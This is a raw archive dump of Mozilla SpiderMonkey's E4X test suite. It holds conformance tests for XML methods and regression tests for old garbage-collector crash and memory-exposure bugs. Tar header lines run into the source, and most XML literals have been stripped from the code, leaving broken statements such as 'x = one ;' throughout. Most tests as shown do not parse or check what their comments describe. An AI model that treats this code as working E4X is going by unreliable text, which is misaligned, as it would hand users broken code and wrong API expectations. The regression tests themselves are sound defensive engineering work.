x = one ; correct = one ; x.removeNamespace("http://foo/"); TEST(2, correct, x); // Shouldn't remove namespace if referenced x = one ; correct = one ; x.removeNamespace("http://foo/"); TEST(3, correct, x); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.25.js0000664000175000017500000000131212106270663017615 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.25 - XML nodeKind()"); TEST(1, true, XML.prototype.hasOwnProperty("nodeKind")); x = one ; TEST(2, "element", x.bravo.nodeKind()); TEST(3, "attribute", x.@attr1.nodeKind()); // Nonexistent node type is text x = new XML(); TEST(4, "text", x.nodeKind()); TEST(5, "text", XML.prototype.nodeKind()); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.11.js0000664000175000017500000000254312106270663017617 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.11 - XML copy()"); TEST(1, true, XML.prototype.hasOwnProperty("copy")); emps = Jim25 Joe20 ; correct = Jim25; x = emps.employee[0].copy(); TEST(2, null, x.parent()); TEST(3, correct, x); // Make sure we're getting a copy, not a ref to orig. emps = Jim25 Joe20 ; correct = Jim25 empCopy = emps.employee[0].copy(); emps.employee[0].name[0] = "Sally"; TEST(4, correct, empCopy); // Try copying whole XML twice emps = Jim25 Joe20 ; empCopy = emps.copy(); x = empCopy.copy(); TEST(5, x, emps); END(); mozjs17.0.0/js/src/tests/e4x/XML/regress-336921.js0000664000175000017500000000144012106270663021062 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = '13.4.4.3 - XML.prototype.appendChild creates undesired
    '; var BUGNUMBER = 336921; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); // test here var array = ["a","b","c"]; var myDiv =
    ; for each (a in array) { myDiv.appendChild(a); myDiv.appendChild(
    ); } actual = myDiv.toXMLString(); expect = '
    \n a\n
    \n b\n
    \n c\n
    \n
    '; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.19.js0000664000175000017500000000171012106270663017622 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.19 - insertChildBefore()"); TEST(1, true, XML.prototype.hasOwnProperty("insertChildBefore")); x = one two ; correct = three one two ; x.insertChildBefore(x.bravo[0], three); TEST(2, correct, x); x = one two ; correct = one two three ; x.insertChildBefore(null, three); TEST(3, correct, x); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.2.js0000664000175000017500000000343612106270663017377 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.2 - XML Constructor"); x = new XML(); TEST(1, "xml", typeof(x)); TEST(2, true, x instanceof XML); correct = DIS ; x = new XML(correct); TEST_XML(3, correct.toXMLString(), x); text = "" + " " + " " + " DIS" + " " + " " + ""; x = new XML(text); TEST(4, correct, x); // Make sure it's a copy x = one ; y = new XML(x); x.bravo.prependChild(two); correct = one ; TEST(5, correct, y); // Make text node x = new XML("4"); TEST_XML(6, "4", x); x = new XML(4); TEST_XML(7, "4", x); // Undefined and null should behave like "" x = new XML(null); TEST_XML(8, "", x); x = new XML(undefined); TEST_XML(9, "", x); // see bug 320008 x = new XML(""); TEST_XML(10, "", x); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.2.js0000664000175000017500000000153512106270663017537 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.2 - XML addNamespace()"); TEST(1, true, XML.prototype.hasOwnProperty("addNamespace")); e = Jim25 Joe20 ; n = "http://foobar/"; e.addNamespace(n); n = new Namespace(); e.addNamespace(n); n = new Namespace("http://foobar/"); e.addNamespace(n); x = ; n = new Namespace("ns", "uri"); x.addNamespace(n); TEST(2, "", x.toXMLString()); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.36.js0000664000175000017500000000236312106270663017626 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.36 - setNamespace"); TEST(1, true, XML.prototype.hasOwnProperty("setNamespace")); x = one ; correct = one ; x.setNamespace("http://bar/"); TEST(2, correct, x); var xhtml1NS = new Namespace('http://www.w3.org/1999/xhtml'); var xhtml = ; xhtml.setNamespace(xhtml1NS); TEST(3, 1, xhtml.namespaceDeclarations().length); TEST(4, xhtml1NS, xhtml.namespace()); var xml = var ns = new Namespace('ns','http://example.org/'); xml.blah.@foo = 'bar'; xml.blah.@foo.setNamespace(ns); xml.blah.@foo = 'baz'; xml.blah.@foo.setNamespace(ns); var expected = ; TEST(5, xml, expected); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.4.js0000664000175000017500000000226212106270663017537 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.4 - XML attribute()"); TEST(1, true, XML.prototype.hasOwnProperty("attribute")); // Get count of employees emps = Jim25 Joe20 ; TEST_XML(2, 2, emps.attribute("count")); // Get the id of the employee age 25 emps = Jim25 Joe20 ; TEST_XML(3, 0, emps.employee.(age == "25").attribute("id")); // Get the id of the employee named Jim emps = Jim25 Joe20 ; TEST_XML(4, 0, emps.employee.(name == "Jim").attribute("id")); END(); mozjs17.0.0/js/src/tests/e4x/XML/regress-324688.js0000664000175000017500000000425512106270663021100 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- bug 528404 - disable due to random timeouts /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'No Syntax Error when trailing space and XML.ignoreWhitespace ' + 'true'; var BUGNUMBER = 324688; var actual = 'No Error'; var expect = 'No Error'; var t; // use global scope to prevent timer from being GC'ed START(summary); function init() { if (typeof Components != 'undefined') { try { netscape.security.PrivilegeManager. enablePrivilege('UniversalXPConnect'); var TestObject = { observe: function () { try { printBugNumber(BUGNUMBER); printStatus (summary); printStatus('Browser only: requires UniversalXPConnect'); printStatus("XML.ignoreWhitespace=" + XML.ignoreWhitespace); var x = new XML(" "); } catch(ex2) { actual = ex2 + ''; } print('expect = ' + expect); print('actual = ' + actual); TEST(1, expect, actual); END(); gDelayTestDriverEnd = false; jsTestDriverEnd(); } }; t = Components.classes["@mozilla.org/timer;1"]. createInstance(Components.interfaces.nsITimer); t.init(TestObject, 100, t.TYPE_ONE_SHOT); } catch(ex) { printStatus('Requires UniversalXPConnect'); } } } if (typeof window != 'undefined') { // delay test driver end gDelayTestDriverEnd = true; window.addEventListener("load", init, false); } else { TEST(1, expect, actual); END(); } mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.7.js0000664000175000017500000000146112106270663017542 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.7 - XML childIndex()"); TEST(1, true, XML.prototype.hasOwnProperty("childIndex")); emps = Jim25 Joe20 ; TEST(2, 0, emps.employee[0].childIndex()); // Get the ordinal index of the employee named Joe TEST(3, 1, emps.employee.(age == "20").childIndex()); TEST(4, 1, emps.employee.(name == "Joe").childIndex()); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.1.js0000664000175000017500000000322012106270663017365 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.1 - XML Constructor as Function"); x = XML(); TEST(1, "xml", typeof(x)); TEST(2, true, x instanceof XML); correct = DIS ; x = XML(correct); TEST(3, correct, x); text = "" + " " + " " + " DIS" + " " + " " + ""; x = XML(text); TEST(4, correct, x); // Make sure it's not copied if it's XML x = two ; y = XML(x); x.bravo = "three"; correct = three ; TEST(5, correct, y); // Make text node x = XML("4"); TEST_XML(6, 4, x); x = XML(4); TEST_XML(7, 4, x); // Undefined and null should behave like "" x = XML(null); TEST_XML(8, "", x); x = XML(undefined); TEST_XML(9, "", x); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.3-01.js0000664000175000017500000000156512106270663017761 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "13.4.4.3 - XML.appendChild should copy child"; var BUGNUMBER = 312692; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); var ul =
      ; var li =
    • ; li.setChildren("First"); ul.appendChild(li); li.setChildren("Second"); ul.appendChild(li); XML.ignoreWhitespace = true; XML.prettyPrinting = true; expect = (
      • Second
      • Second
      ).toXMLString().replace(/' + str + ''); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/XML/regress-621464.js0000664000175000017500000000105212106270663021060 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 621464; var summary = 'a.replace() == a'; printBugNumber(BUGNUMBER); START(summary); var expected = a; var actual = a.replace(); TEST(0, expected, actual); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.38.js0000664000175000017500000000260312106270663017625 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.38 - XML toString()"); TEST(1, true, XML.prototype.hasOwnProperty("toString")); XML.prettyPrinting = false; x = one two ; TEST(2, "one", x.bravo.toString()); TEST(3, "onetwo", x..bravo.toString()); x = one ; TEST(4, "", x.charlie.toString()); x = one two ; TEST(5, "two", x.charlie.toString()); x = one two ; TEST(5, "two", x.charlie.toString()); x = ; TEST(6, "", x.bravo.toString()); x = one two ; TEST(7, "onetwo", x.bravo.toString()); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.20.js0000664000175000017500000000131312106270663017611 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.20 - XML length()"); TEST(1, true, XML.prototype.hasOwnProperty("length")); x = one two three four ; TEST(2, 1, x.length()); TEST(3, 1, x.bravo.length()); TEST(4, 1, x.charlie.length()); TEST(5, 1, x.delta.length()); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.34.js0000664000175000017500000000150212106270663017616 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.34 - XML setLocalName()"); TEST(1, true, XML.prototype.hasOwnProperty("setLocalName")); x = one ; correct = one ; x.setLocalName("charlie"); TEST(2, correct, x); x = one ; correct = one ; x.setLocalName("charlie"); TEST(3, correct, x); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.33.js0000664000175000017500000000211112106270663017612 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.33 - XML setChildren()"); TEST(1, true, XML.prototype.hasOwnProperty("setChildren")); x = one ; correct = two ; x.setChildren(two); TEST(2, correct, x); // Replace the entire contents of Jim's employee element emps = Jim25 Joe20 ; correct = John35 Joe20 ; emps.employee.(name == "Jim").setChildren(John + 35); TEST(3, correct, emps); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.39.js0000664000175000017500000000346512106270663017635 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.39 - XML toXMLString"); TEST(1, true, XML.prototype.hasOwnProperty("toXMLString")); XML.prettyPrinting = false; x = one two ; TEST(2, "one", x.bravo.toXMLString()); TEST(3, "onetwo", x..bravo.toXMLString()); x = one ; TEST(4, "", x.charlie.toXMLString()); x = one two ; TEST(5, "two", x.charlie.toXMLString()); x = one two ; TEST(6, "two", x.charlie.toXMLString()); x = ; TEST(7, "", x.bravo.toXMLString()); x = one two ; TEST(8, "onetwo", x.bravo.toXMLString()); XML.prettyPrinting = true; x = one two ; copy = x.bravo.copy(); TEST(9, "one", copy.toXMLString()); x = one two ; TEST(10, "String contains value one from bravo", "String contains value " + x.bravo + " from bravo"); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.26.js0000664000175000017500000000416312106270663017625 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.26 - XML normalize()"); TEST(1, true, XML.prototype.hasOwnProperty("normalize")); XML.ignoreWhitespace = false; XML.prettyPrinting = false; var x = one ; TEST_XML(2, " one ", x); x.normalize(); TEST_XML(3, " one ", x); // First, test text node coalescing delete x.bravo[0]; TEST_XML(4, " ", x); TEST(5, 2, x.children().length()); x.normalize(); TEST_XML(6, " ", x); TEST(7, 1, x.children().length()); // check that nodes are inserted in the right place after a normalization x.appendChild( fun ); TEST_XML(8, " fun ", x); TEST(9, 2, x.children().length()); // recursive nature var y = ; TEST(10, 3, y.children().length()); x.appendChild(y); delete y.delta[0]; TEST(11, 2, y.children().length()); x.normalize(); TEST(12, 1, y.children().length()); TEST(13, 1, x.charlie.children().length()); // Second, test empty text node removal x = ; TEST_XML(14, "", x); TEST(15, 1, x.children().length()); x.appendChild(XML()); TEST_XML(16, "", x); TEST(17, 2, x.children().length()); x.normalize(); TEST_XML(18, "", x); TEST(19, 1, x.children().length()); x.appendChild(XML(" ")); TEST_XML(20, " ", x); TEST(21, 2, x.children().length()); x.normalize(); // normalize does not remove whitespace-only text nodes TEST_XML(22, " ", x); TEST(23, 2, x.children().length()); y = ; y.appendChild(XML()); TEST(24, 1, y.children().length()); x.appendChild(y); // check recursive nature x.normalize(); TEST(25, 0, y.children().length()); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.14.js0000664000175000017500000000170612106270663017622 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.14 - XML hasOwnProperty()"); TEST(1, true, XML.prototype.hasOwnProperty("hasOwnProperty")); x = one two three four ; // Returns true for elements/attributes TEST(2, true, x.hasOwnProperty("bravo")); TEST(3, true, x.hasOwnProperty("@attr1")); TEST(4, false, x.hasOwnProperty("foobar")); // Test for XML Prototype Object - returns true for XML methods. TEST(5, true, XML.prototype.hasOwnProperty("toString")); TEST(6, false, XML.prototype.hasOwnProperty("foobar")); END(); mozjs17.0.0/js/src/tests/e4x/GC/0000775000175000017500000000000012106270663016137 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/GC/regress-339785.js0000664000175000017500000000272112106270663020731 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "scanner: memory exposure to scripts"; var BUGNUMBER = 339785; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); function evalXML(N) { var str = Array(N + 1).join('a'); // str is string of N a src = "var x = &"+str+";;"; try { eval(src); return "Should have thrown unknown entity error"; } catch (e) { return e.message; } return "Unexpected"; } var N1 = 1; var must_be_good = evalXML(N1); expect = 'unknown XML entity a'; actual = must_be_good; TEST(1, expect, actual); function testScanner() { for (var power = 2; power != 15; ++power) { var N2 = (1 << power) - 2; var can_be_bad = evalXML(N2); var diff = can_be_bad.length - must_be_good.length; if (diff != 0 && diff != N2 - N1) { return "Detected memory exposure at entity length of "+(N2+2); } } return "Ok"; } expect = "Ok"; // repeat test since test does not always fail for (var iTestScanner = 0; iTestScanner < 100; ++iTestScanner) { actual = testScanner(); TEST(iTestScanner+1, expect, actual); } END(); mozjs17.0.0/js/src/tests/e4x/GC/shell.js0000664000175000017500000000000012106270663017572 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/GC/regress-357063-02.js0000664000175000017500000000153512106270663021137 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 357063; var summary = 'GC hazard in XMLEquality'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var xml1 = new XML("textB"); var xml2 = new XML("textC"); XML.prototype.function::toString = function() { if (xml2) { delete xml2.*; xml2 = null; gc(); } return "text"; } print('xml1: ' + xml1); print('xml2: ' + xml2); if (xml1 == xml2) throw "unexpected result"; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/GC/regress-324117.js0000664000175000017500000000301312106270663020703 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "GC hazard during namespace scanning"; var BUGNUMBER = 324117; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); function prepare(N) { var xml = ; var ns1 = new Namespace("text1"); var ns2 = new Namespace("text2"); xml.addNamespace(ns1); xml.addNamespace(ns2); // Prepare list to trigger DeutschSchorrWaite call during GC cursor = xml; for (var i = 0; i != N; ++i) { if (i % 2 == 0) cursor = [ {a: 1}, cursor ]; else cursor = [ cursor, {a: 1} ]; } return cursor; } function check(list, N) { // Extract xml to verify for (var i = N; i != 0; --i) { list = list[i % 2]; } var xml = list; if (typeof xml != "xml") return false; var array = xml.inScopeNamespaces(); if (array.length !== 3) return false; if (array[0].uri !== "") return false; if (array[1].uri !== "text1") return false; if (array[2].uri !== "text2") return false; return true; } var N = 64000; var list = prepare(N); gc(); var ok = check(list, N); printStatus(ok); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/GC/browser.js0000664000175000017500000000000012106270663020146 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/GC/regress-313952-01.js0000664000175000017500000000162312106270663021133 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "13.3.5.2 - root QName.uri"; var BUGNUMBER = 313952; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); printStatus("This test requires TOO_MUCH_GC"); var str = " foo:bar".substring(1); expect = new QName(" foo:bar".substring(2), "a").uri; var likeString = { toString: function() { var tmp = str; str = null; return tmp; } }; actual = new QName(likeString, "a").uri; printStatus(actual.length); printStatus(expect === actual); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/GC/regress-280844-2.js0000664000175000017500000000160012106270663021052 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip-if(Android) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Uncontrolled recursion in js_MarkXML during GC'; var BUGNUMBER = 280844; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var N = 100 * 1000; function prepare_list(N) { var head = {}; var cursor = head; for (var i = 0; i != N; ++i) { var ns = new Namespace(); var x = ; x.addNamespace(ns); cursor.next = x; cursor = ns; } return head; } var head = prepare_list(N); gc(); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/GC/regress-280844-1.js0000664000175000017500000000131612106270663021055 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip-if(Android) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Uncontrolled recursion in js_MarkXML during GC'; var BUGNUMBER = 280844; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var N = 5 * 1000; var x = ; for (var i = 1; i <= N; ++i) { x.appendChild(); x = x.x[0]; } printStatus(x.toXMLString()); gc(); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/GC/regress-292455.js0000664000175000017500000000216312106270663020721 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip-if(!xulRuntime.shell) -- does not always dismiss alert /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Regress - Do not crash on gc"; var BUGNUMBER = 292455; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); function output (text) { if (typeof alert != 'undefined') { alert(text); } else if (typeof print != 'undefined') { print(text); } } function doTest () { var html =

      Kibology for all

      Kibology for all. All for Kibology.

      ; // insert new child as last child html.* +=

      All for Kibology

      ; gc(); output(html); html.* +=

      All for Kibology. Kibology for all.

      ; gc(); output(html); } doTest(); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/GC/regress-324278.js0000664000175000017500000000231612106270663020720 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- slow /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 324278; var summary = 'GC without recursion'; var actual; var expect; printBugNumber(BUGNUMBER); START(summary); var N = 1000 * 1000; print("N = " + N); function prepare_list(N) { var cursor = null; for (var i = 0; i != N; ++i) { var ns = new Namespace("protocol:address"); ns.property = cursor; var xml = ; xml.addNamespace(ns); cursor = {xml: xml}; } return cursor; } print("preparing..."); var list = prepare_list(N); print("prepared for "+N); gc(); var count = 0; while (list && list.xml.inScopeNamespaces().length > 0 && list.xml.inScopeNamespaces()[1]) { list = list.xml.inScopeNamespaces()[1].property; ++count; } expect = N; actual = count; TEST(1, expect, actual); gc(); END(); mozjs17.0.0/js/src/tests/e4x/GC/regress-313952-02.js0000664000175000017500000000214012106270663021127 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "13.3.5.2 - root QName.uri"; var BUGNUMBER = 313952; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); var str = String(1); var expected = String(1); var x = new XML("text"); x.function::toString = function() { var tmp = str; str = null; return tmp; } var TWO = 2.0; var likeString = { toString: function() { var tmp = new XML(""); tmp = (tmp == "string"); if (typeof gc == "function") gc(); for (var i = 0; i != 40000; ++i) { tmp = 1e100 * TWO; tmp = null; } return expected; } } TEST(1, true, x != likeString); END(); mozjs17.0.0/js/src/tests/e4x/GC/regress-357063-01.js0000664000175000017500000000173712106270663021142 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 357063; var summary = 'GC hazard in XMLEquality'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var xml = new XML("texttext"); var xml2 = new XML("texttext"); var list1 = xml.a; var list2 = xml2.a; XML.prototype.function::toString = function() { if (xml2) { delete list2[1]; delete list2[0]; xml2 = null; gc(); } return "text"; } var value = list1 == list2; print('list1: ' + list1.toXMLString()); print('list2: ' + list2.toXMLString()); print('list1 == list2: ' + value); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Types/0000775000175000017500000000000012106270663016752 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/Types/9.2.1.7.js0000664000175000017500000000076212106270663020131 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.2.1.7 XMLList [[DeepCopy]]"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.1.1.11.js0000664000175000017500000000075612106270663020206 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a 